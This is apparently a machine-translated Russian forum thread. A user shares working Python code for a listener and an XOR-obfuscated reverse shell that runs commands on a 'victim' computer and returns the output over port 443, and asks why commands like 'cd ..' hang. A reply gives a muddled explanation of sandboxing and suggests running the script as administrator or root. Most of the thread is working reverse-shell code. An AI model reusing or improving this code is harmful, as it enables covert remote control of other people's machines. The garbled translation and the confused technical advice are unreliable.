У меня есть следующий слушатель и обратные оболочки в Python:обратная оболочка с помощью Python
Слушатель:
import socket
s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", 443))
s.listen(2)
print "Listening on port 443... "
(client, (ip, port)) = s.accept()
print " Received connection from : ", ip
while True:
command = raw_input('~$ ')
encode = bytearray(command)
for i in range(len(encode)):
encode[i] ^=0x41
client.send(encode)
en_data=client.recv(2048)
decode = bytearray(en_data)
for i in range(len(decode)):
decode[i] ^=0x41
print decode
client.close()
s.close()
обратной оболочка:
import socket, subprocess, sys
RHOST = '127.0.0.1' #sys.argv[1]
RPORT = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RHOST, RPORT))
while True:
#receive encoded data
en_comm = s.recv(1024)
#decoded the received command
de_comm = bytearray(en_comm)
for i in range(len(de_comm)):
de_comm[i] ^= 0x41
#execute the clear text comamnd after decode it
clrtxt_comm = subprocess.Popen(str(de_comm), shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output, STDERR = clrtxt_comm.communicate()
#encode the command output and send it over ssl
en_output = bytearray(output)
for i in range(len(en_output)):
en_output[i] ^= 0x41
s.send(en_output)
s.close()
После запуска слушателя и вызвать обратный shell, он работает нормально и открывает оболочку на компьютере-жертве, но самое главное, что при отправке команд типа «cd ..» или «mkdir foldername» (в случае Windows) он застревает в одном и том же входе и не идет дальше э.
Вы видите/понимаете, в чем проблема в коде?
Большое спасибо!
Прежде всего, спасибо за ответ. Я изменю то, о чем вы говорили. Но прежде, что все песочница? Другой вопрос, я видел, как люди это делали, используя netcat в качестве слушателя и используя dup2() в качестве обратной оболочки, и это действительно работает. Это лучше или что? Спасибо – user2315506
песочница означает, что каждый процесс имеет виртуальную память из файлов, к которой разрешен доступ к e.i. читать, писать, выполнять (и sys-вызовы, которые он может использовать, но это для другого дня). Обычно процесс python (и все его дочерние процессы) может выполняться с привилегиями, которые разрешают доступ к файлам в его каталоге или в более крупной изолированной среде (например, все файлы пользователя или все файлы в системе). Мгновенные подробности песочницы очень разные в каждой ОС. Во-первых, в Windows попробуйте вызвать скрипт reverse_shell.py из командной строки администратора, в linux попробуйте выполнить команду root –